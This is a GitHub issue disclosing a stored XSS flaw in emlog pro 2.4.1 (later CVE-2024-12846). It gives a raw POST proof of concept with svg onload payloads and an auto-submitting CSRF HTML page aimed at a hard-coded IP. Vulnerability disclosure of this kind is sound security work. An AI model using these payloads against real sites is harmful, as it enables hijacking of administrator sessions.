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emlog pro 2.4.1 Stored XSS Vulnerability #82

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Hebing123 opened this issue Dec 13, 2024 · 1 comment
Open

emlog pro 2.4.1 Stored XSS Vulnerability #82

Hebing123 opened this issue Dec 13, 2024 · 1 comment

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@Hebing123
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Hebing123 commented Dec 13, 2024 •
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Summary

A stored XSS vulnerability exists in emlog pro 2.4.1 which allows attackers to execute arbitrary HTML code.

Details

Because /admin/link.php has CSRF problems, attackers can use XSS to cooperate with CSRF to attack.
The siteurl and icon parameters have XSS vulnerabilities.
image

POC

POST /admin/link.php?action=save HTTP/1.1
Host: target-ip
Content-Length: 297
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [admins'cookie]
Connection: keep-alive

sitename=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&siteurl=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&icon=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&description=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&linkid=

EXP:

<html>
  <body>
    <form action="http://39.105.104.74:10004/admin/link.php?action=save" method="POST">
      <input type="hidden" name="sitename" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="siteurl" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="icon" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="description" value="https&#58;&#47;&#47;www&#46;com&#47;&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;3&#41;&gt;" />
      <input type="hidden" name="linkid" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

A attacker put this exp in a server, When the admin users visit the html file,his cookie will be send to attackers.
@Hebing123
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Hebing123 commented Dec 23, 2024 •
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CVE-2024-12846

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@Hebing123